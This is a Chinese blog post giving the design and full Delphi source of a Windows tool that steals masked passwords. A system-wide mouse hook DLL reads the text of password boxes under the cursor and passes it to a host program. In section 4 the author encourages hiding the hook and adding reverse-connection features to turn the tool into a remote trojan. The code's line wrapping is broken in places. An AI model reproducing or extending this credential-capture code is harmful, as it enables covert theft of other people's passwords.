Windows文字框星號密碼檢視器

gudesheng發表於2008-01-03

Windows文字框星號密碼檢視器

本人2002的學習作品

作者:成曉旭

1、  設計原理:註冊一個系統級滑鼠掛鉤,通過監測系統滑鼠所在Windows視窗來獲取密碼,成功獲取密碼之後,通過傳送自定義的Windows系統訊息,到宿主程式。

2、  Hook動態連結庫設計原理:採用Windows Hook技術[滑鼠掛鉤],切入遠端程式內部,並監測當前系統滑鼠所在位置的當然視窗控制程式碼(通過Windows APIWindowFromPoint()),獲取視窗控制程式碼之後,判斷當然視窗是否為文字框,並進一步判斷是否為密碼框,當發現是密碼輸入框時,當此視窗傳送WM_GETTEXT訊息,獲取密碼。成功獲取密碼之後,發現自定義的WM_COPYDATA訊息到宿主程式;

具體實現步驟簡介:

1.  設定系統滑鼠掛鉤:

        hkMouseHook := SetWindowsHookEx(WH_MOUSE,@CXX_MouseHookProc,hInstance,0);

2.  登出系統滑鼠掛鉤:

        UnHookWindowsHookEx(hkMouseHook);

3.  監測當然視窗及視窗風格判斷:

        MousePos := pMhs.pt;

    wnd := WindowFromPoint(pmhs.pt);

    style := GetWindowLong(wnd,GWL_STYLE);

    if (style and ES_PASSWORD) = ES_PASSWORD then

    begin

            //發現密碼視窗

    end;

4.  向密碼框獲取密碼串:

        SendMessage(wnd,WM_GETTEXT,256,Integer(@MouseTitle[0]));

5.  傳送自定義訊息到宿主程式:

              GetMem(pmi,sizeof(TMouseInfo));

        pmi.MouseX := pt.X;

        pmi.MouseY := pt.Y;

        pmi.MouseTitle := pwd;

        GetMem(pcds,sizeof(TCopyDataStruct));

        pcds.dwData := 9910;

        pcds.cbData := sizeof(TMouseInfo);

        pcds.lpData := pmi;

        SendMessage(hDec,WM_COPYDATA,0,LPARAM(pcds));

3、  宿主程式設計原理:我的宿主程式是自己學習Windows SDK開發時作品,採用純SDK實現。SDK的程式設計不用廢話了吧。在這個工具程式中,只需要在系統訊息處理方法中,增加一個對WM_COPYDATA的攔截及處理過程就可能了。

case uMsg of

    WM_COPYDATA:

    begin

        CXX_ReceiveCopyData(uMsg);

    end;

        ……

end;

4、  應用技術提點:這個是本人在2002年學習Microsoft Windows SDK程式設計技術時的學習作品。當然,有興趣的話,你完全可以將其Hook進一步進行隱藏,併為其增加“埠反彈”或者“半連線”功能,宿主程式可以是自己的遠端XXXXXX,哈哈,這樣釋出出來的話,想知道的東西就多了……

5、 完整原始碼程式碼:

1.  Hook滑鼠掛鉤部分:

 

 
{
     產品名稱:     Windows 密碼工具[Window98
/NT/2000/XP]
     功能描述:     擷取Windows密碼編輯框中的密碼串
                    採用純粹的SDK開發
                    能捕捉windows98
/NT/2000/XP的密碼框中的""密碼
     開發平臺:     Windows2000 
+ Delphi6 + MSDN + SDK
     開發者:       成曉旭
     版權所有:     成曉旭
     模組設計者:   成曉旭
     設計思路:     採用Windows Hook技術[滑鼠掛鉤],切入遠端程式內部,
                    再傳送WM_GETTEXT訊息擷取密碼,最後用SendMessage傳送
                    WM_COPYDATA訊息自定義的密碼資訊結構體到目標視窗,以
                    顯示或處理Hook DLL所擷取的遠端程式的密碼.
     開始時間:     2002年3月4日
     完成時間:     2002年5月24日[最終實現]
     備    注:     此工具是本人在2002年開發的第二個軟體
                    本工具在2000年6月份左右曾實現過一個Windows98下的
                    密碼擷取工具,兩年以來,我一直沒有放棄過實現Windows
                    作業系統下的所有密碼的擷取,如此,終於實現了兩年以來
                    未曾實現的擷取WindowsNT系列的密碼.[
2002/05/24]
                    以後的路還很長:WindowNT系列的當前使用者登入密碼、
                    記憶體長駐的其它密碼等等.
}

unit MouseHook;

interface
uses
    Messages,Windows;
//,SysUtils;

var

    hkMouseHook:HHook;
    ProcSafelyExit:Pointer;
    uCXXMsg:UINT;
    procedure   DllEntryProc(ul_reason_for_call:DWORD);
    procedure   SetupHook(fSet:
boolean);stdcall;export;
    function    CXX_MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
    procedure   AutoUnInstallHook();far;

implementation

uses DataStruct;


procedure CXX_SendCopyData(pt:TPoint;pwd:TMTitle);
var
    pcds:PCopyDataStruct;
    pmi:PMouseInfo;
    hDec:THandle;
begin
    hDec:
=Findwindow(Nil,'WM_COPYDATA接收端');
    
if hDec = 0 then
    begin
        MessageBox(
0,'資料接收視窗沒有找到,程式拒絕傳送WM_COPYDATA訊息!','提示',MB_OK or MB_ICONWARNING);
        Exit;
    end;
    
try
        GetMem(pmi,sizeof(TMouseInfo));
        pmi.MouseX :
= pt.X;
        pmi.MouseY :
= pt.Y;
        pmi.MouseTitle :
= pwd;
        GetMem(pcds,sizeof(TCopyDataStruct));
        pcds.dwData :
= 9910;
        pcds.cbData :
= sizeof(TMouseInfo);
        pcds.lpData :
= pmi;
        SendMessage(hDec,WM_COPYDATA,
0,LPARAM(pcds));
        
//PostMessage(hDec,WM_COPYDATA,Handle,LPARAM(pcds));
    finally
        FreeMem(pmi);
        FreeMem(pcds);
    end;
end;

function CXX_MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
var
    pMhs:PMOUSEHOOKSTRUCT;
    wnd:HWND;
    style:LongInt;
    MousePos:TPoint;
    MouseTitle:TMTitle;
begin
    
if iCode = HC_ACTION then
    begin
        FillChar(MouseTitle,
255,0);
        pMhs :
= PMOUSEHOOKSTRUCT(lParam);
        MousePos :
= pMhs.pt;
        wnd :
= WindowFromPoint(pmhs.pt);
        style :
= GetWindowLong(wnd,GWL_STYLE);
        
if (style and ES_PASSWORD) = ES_PASSWORD then
        begin
            SendMessage(wnd,WM_GETTEXT,
256,Integer(@MouseTitle[0]));
            
//傳送擷取的資訊[]
            CXX_SendCopyData(MousePos,MouseTitle);
        end;
    end;
    Result :
= CallNextHookEx(hkMouseHook,iCode,wParam,lParam);
end;

procedure SetupHook(fSet:
boolean);stdcall;export;
begin
    
if fSet then
    begin
        
if hkMouseHook <> 0 then Exit;
            hkMouseHook :
= SetWindowsHookEx(WH_MOUSE,@CXX_MouseHookProc,hInstance,0);
        
//if hkMouseHook <> 0 then
        
//    MessageBox(0,'滑鼠掛鉤安裝成功!!!','掛鉤提示',MB_ICONINFORMATION or MB_OK)
        
//else
        
//    MessageBox(0,'滑鼠掛鉤安裝失敗!','掛鉤提示',MB_ICONWARNING or MB_OK);
    end
    
else
    begin
       
if hkMouseHook <> 0 then
        begin
            UnHookWindowsHookEx(hkMouseHook);
            hkMouseHook :
= 0;
            
//if hkMouseHook = 0 then
            
//    MessageBox(0,'滑鼠掛鉤撤消成功!!!','掛鉤提示',MB_ICONINFORMATION or MB_OK)
            
//else
            
//    MessageBox(0,'滑鼠掛鉤撤消失敗!','掛鉤提示',MB_ICONWARNING or MB_OK);
        end;
    end;
end;

procedure   DllEntryProc(ul_reason_for_call:DWORD);
begin
{
    
if ul_reason_for_call = DLL_PROCESS_ATTACH then
    begin
        MessageBox(
0,'DLL_PROCESS_ATTACH','MouseDll Hint',MB_OK or MB_ICONINFORMATION);
        
//uCXXMsg := RegisterWindowMessage(SELF_MESSAGE_NAME);

    end
    
else if ul_reason_for_call = DLL_PROCESS_DETACH then
    begin
        MessageBox(
0,'DLL_PROCESS_DETACH','MouseDll Hint',MB_OK or MB_ICONINFORMATION);
    end;
    }

end;

procedure AutoUnInstallHook();
begin
     
if hkMouseHook <> 0 then
          SetupHook(False);
     ExitProc :
= ProcSafelyExit;
end;

end.









 

 

2.  宿主程式部分:

 

此程式中,還有關於Windows程式資源載入以及視窗背景繪製等技術的演示。

 

{
     產品名稱:     Windows 密碼工具
     功能描述:     擷取Windows密碼編輯框中的密碼串
                    採用純粹的SDK開發
     開發平臺:     Windows2000 
+ Delphi6 + MSDN + SDK
     開發者:       成曉旭
     版權所有:     成曉旭
     模組設計者:   成曉旭
     開始時間:     2002年3月4日
     完成時間:     2002年3月4日
     修改時間1:    2002年3月4日
     備    注:     此工具是本人在2002年開發的第二個軟體,
}


program MouseExe;
uses
  Windows,
  SysUtils,
  Messages,
  Tie_In_MHook in 
'Tie_In_MHook.pas',
  DataStruct in 
'DataStruct.pas';

{$R MouseExe.res}
const
    CXX_WND_CLASS 
= 'DC_Password';   //主視窗類名
    CXX_WND_CAPTION = 'Window2000/XP 密碼捕捉工具';
    CXX_PASSKEY 
= 'chenxiaoxu';
    MOUSE_MOVE_TIMER 
= WM_USER + 9910;
    SELF_MESSAGE_NAME 
= 'CXX_Test_Window_Message';
var
    hWndMain,               
//程式主視窗控制程式碼
    hBtnCheck,               //程式傳送按鈕控制程式碼
    hBtnClose,              //程式關閉按鈕控制程式碼
    hStcPos,               //滑鼠位置提示
    hStcTitle,               //視窗標題提示
    hEdtPos,                //滑鼠當前位置
    hEdtTitle:               //獲取視窗標題
                LongWord;
    hInstMain:  integer;    
//程式例項控制程式碼
    hBGBmp :    HBITMAP;    //主視窗背景圖片控制程式碼
    hCur:       HICON;
    uCXXMsg:    UINT;
procedure CXX_SendCopyData();
var
    pcds:PCopyDataStruct;
    pmi:PMouseInfo;
    hDec:THandle;
begin
    hDec:
=Findwindow(Nil,'WM_COPYDATA接收端');
    
if hDec = 0 then
    begin
        MessageBox(hWndMain,
'資料接收視窗沒有找到,程式拒絕傳送WM_COPYDATA訊息!','

',MB_OK or MB_ICONWARNING);
        Exit;
    end;
    
//try
        GetMem(pmi,sizeof(TMouseInfo));
        pmi.MouseX :
= 10;
        pmi.MouseY :
= 50;
        pmi.MouseTitle :
= 'chenxiaoxu';
        GetMem(pcds,sizeof(TCopyDataStruct));
        pcds.dwData :
= 9910;
        pcds.cbData :
= sizeof(TMouseInfo);
        pcds.lpData :
= pmi;
        SendMessage(hDec,WM_COPYDATA,hWndMain,LPARAM(pcds));
        
//PostMessage(hDec,WM_COPYDATA,Handle,LPARAM(pcds));
    
//finally
        FreeMem(pmi);
        FreeMem(pcds);
    
//end;
end;
procedure CXX_ReceiveCopyData(Msg:TMessage);
var
    str:string;
begin
    str :
= IntToStr(PMouseInfo(PCOPYDATASTRUCT(Msg.LParam)^.lpData)^.MouseX);
    str :
= str + IntToStr(PMouseInfo(PCOPYDATASTRUCT(Msg.LParam)^.lpData)^.MouseY);
end;
//繪製視窗點陣圖背景函式
function CXX_DrawBGBitmap(fdc:HDC;fBitmap:HBitmap):boolean;
var
    hdcMem:HDC;
    rect:TRect;
    bmp:Bitmap;
    x,y:integer;
begin
//    bmp := nil;
    Result := False;
    
//主視窗背景圖片尚未載入,不能繪製視窗背景
    if fBitmap = 0 then Exit;
    
//獲取繪圖區域
    GetClientRect(hWndMain,rect);
    
//建立相容記憶體裝置描述表
    hdcMem := CreateCompatibleDC(fdc);
    
if hdcMem = 0 then Exit;
    
//設定點陣圖物件
    if (GetObject(fBitmap,sizeof(Bitmap),@bmp) = 0) then Exit;
    
//設定記憶體裝置描述表內容
    if NOT Boolean(SelectObject(hdcMem,fBitmap)) then Exit;
    
//繪製視窗背景圖片
    x := 0;
    
while(x <= rect.Right-rect.Left) do
    begin
        y :
= 0;
        
while(y <= rect.Bottom-rect.Top) do
        begin
            BitBlt(fdc,x,y,bmp.bmWidth,bmp.bmHeight,hdcMem,
0,0,SRCCOPY);
            y :
= y + bmp.bmHeight;
        end;
        x :
= x + bmp.bmWidth;
    end;
    Result :
= DeleteDC(hdcMem);
end;

{
 function CXX_SetWinCaption():設定視窗物件標題函式
 引數定義:
     hWnd:   視窗物件控制程式碼
     pchText:視窗物件標題
}

procedure CXX_SetWinCaption(hWnd:hWND;pchText:PChar);
begin
    SendMessage(hWnd,WM_SETTEXT,
0,Integer(pchText));
    
//SetWindowText(hWnd,pchText);
end;
{
 function CXX_GetWinCaption():取得按鈕標題函式
 引數定義:
     hWnd:   按鈕控制程式碼
     pchText:按鈕標題
}

procedure CXX_GetWinCaption(hWnd:hWND;pchText:PChar);
begin
    SendMessage(hWnd,WM_GETTEXT,
255,Integer(pchText));
end;

procedure CXX_MouseMoveTimerProc(hWin:HWND;uMsg:UINT;idEvent:UINT;dwTime:DWORD);
begin
    
//MessageBox(hWin,'系統時間','提示',0);
end;

function CXX_SetProgramTimer(fSetTimer:
boolean):boolean;
begin
    Result :
= False;
    
if fSetTimer then
    begin
        
//if SetTimer(hWndMain,MOUSE_MOVE_TIMER,3000,@CXX_MouseMoveTimerProc) <> 0 then
        if SetTimer(hWndMain,MOUSE_MOVE_TIMER,100,nil) <> 0 then
            Result :
= True;
    end
    
else
    begin
        
if KillTimer(hWndMain,MOUSE_MOVE_TIMER) then
            Result :
= True;
    end;
end;
//主視窗訊息回撥函式
//function CXX_MainWindowProc(hWnd,uMsg,wParam,lParam:DWord):LRESULT;stdcall;
function CXX_MainWindowProc(hWnd:DWord;uMsg:TMessage;wParam,lParam:DWord):LRESULT;stdcall;
var
//    pchPassword:PCHAR;
    dc :HDC;
    ps:PAINTSTRUCT;
begin
{
    
if uMsg = uCXXMsg then
    begin
        MessageBox(hWnd,
'自定義訊息來了!!!','Hint',0);
        MessageBox(hWnd,PChar(lParam),
'訊息內容',0);
    end;
    }

    
case uMsg of
    WM_COPYDATA:
    begin
        
//MessageBox(hWndMain,'視窗接收WM_COPYDATA訊息!','提示',MB_OK or MB_ICONWARNING);
        CXX_ReceiveCopyData(uMsg);
    end;
    WM_CREATE:
    begin
        uCXXMsg :
= RegisterWindowMessage(SELF_MESSAGE_NAME);
    end;
    WM_RBUTTONDBLCLK:   
//$0206
        PostQuitMessage(0);
    WM_COMMAND:         
//$0111
    begin
        
if lParam = hBtnClose  then
        begin
            
if MessageBox(hWnd,PChar('確定要退出【'+CXX_WND_CAPTION+'】嗎?'),'

',MB_YESNO or MB_ICONQUESTION) = IDYES then
                PostQuitMessage(0);
        end
        
else if lParam = hBtnCheck then
        begin
            
//CXX_SetProgramTimer(True);
            
//PostMessage(HWND_BROADCAST,uCXXMsg,0,0);
            
//SetupHook(True);
            CXX_SendCopyData();
        end;
    end;
    WM_PAINT:
    begin
        dc :
= BeginPaint(hWnd,ps);
           
if NOT CXX_DrawBGBitmap(dc,hBGBmp) then
            MessageBox(hWnd,
'繪製主視窗背景失敗呢!','提示',MB_OK or MB_ICONWARNING);
    end;
    WM_DESTROY:
    begin
         CXX_SetProgramTimer(
false);
         Halt;   
//$0002:
    end;
    end;    
//End of Case
    Result := DefWindowProc(hWnd,uMsg,wParam,lParam);
end;

//應用程式例項化
function CXX_InitInstance():boolean;
var
    wndClass:TWndClass;
begin
    hInstMain :
= hInstance;
    hCur :
= LoadCursor(hInstMain,'HANDLE');
    
if hCur = 0 then
        MessageBox(hWndMain,
'載入主視窗背景圖片失敗!!!','提示',MB_OK or 

MB_ICONWARNING)
    
else
        SetCursor(hCur);
    hBGBmp :
= LoadBitmap(hInstMain,'BACKBMP');
    
if hBGBmp = 0 then
        MessageBox(hWndMain,
'載入主視窗背景圖片失敗!!!','提示',MB_OK or 

MB_ICONWARNING);
    wndClass.cbClsExtra :
= 0;
    wndClass.cbWndExtra :
= 0;
    wndClass.hInstance :
= hInstMain;
    wndClass.hIcon :
= 0;
    wndClass.hCursor :
= LoadCursor(0,IDC_HAND);
    wndClass.hbrBackground :
= CTLCOLOR_EDIT;
    wndClass.lpfnWndProc :
= @CXX_MainWindowProc;
    wndClass.lpszClassName :
= CXX_WND_CLASS;
    wndClass.lpszMenuName :
= nil;
    wndClass.style :
= CS_DBLCLKS;
    Result :
= Boolean(RegisterClassA(wndClass));
end;
//主程式函式
procedure CXX_RunMainProgram();
var
    myMsg:TMsg;
begin
    
if NOT CXX_InitInstance() then
        Exit;
    hWndMain :
= CreateWindowEx(WS_EX_CLIENTEDGE or WS_EX_TOPMOST,
                        CXX_WND_CLASS,CXX_WND_CAPTION,
                        WS_VISIBLE or WS_SYSMENU or WS_MINIMIZEBOX,
                        
0,0,320,150,0,0,hInstMain,nil);
    hStcPos :
= CreateWindowEx(0,'static','滑鼠位置:',
                        WS_VISIBLE OR WS_CHILD,
                        
5,10,80,20,
                        hWndMain,
0,hInstMain,nil);
    hEdtPos :
= CreateWindowEx(WS_EX_CLIENTEDGE,'Edit','',
                        WS_VISIBLE OR WS_CHILD,
                        
100,10,200,20,
                        hWndMain,
0,hInstMain,nil);
    hStcTitle :
= CreateWindowEx(0,'static','獲取密碼:',
                        WS_VISIBLE OR WS_CHILD,
                        
5,50,80,20,
                        hWndMain,
0,hInstMain,nil);
    hEdtTitle :
= CreateWindowEx(WS_EX_CLIENTEDGE,'Edit','',
                        WS_VISIBLE OR WS_CHILD,
                        
100,50,200,20,
                        hWndMain,
0,hInstMain,nil);
    hBtnCheck :
= CreateWindowEx(WS_EX_STATICEDGE or WS_EX_CLIENTEDGE,'Button','傳送訊息',
                        WS_VISIBLE OR WS_CHILD,
                        
10,85,100,30,
                        hWndMain,
0,hInstMain,nil);
    hBtnClose :
= CreateWindowEx(WS_EX_STATICEDGE or WS_EX_CLIENTEDGE,'Button','退出程式',
                        WS_VISIBLE OR WS_CHILD,
                        
180,85,100,30,
                        hWndMain,
0,hInstMain,nil);
    
//主程式函式迴圈
    while(GetMessage(myMsg,hWndMain,0,0)) do
    begin
        TranslateMessage(myMsg);
        DispatchMessage(myMsg);
    end;
end;

begin
    CXX_RunMainProgram();
end.


Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1004627


相關文章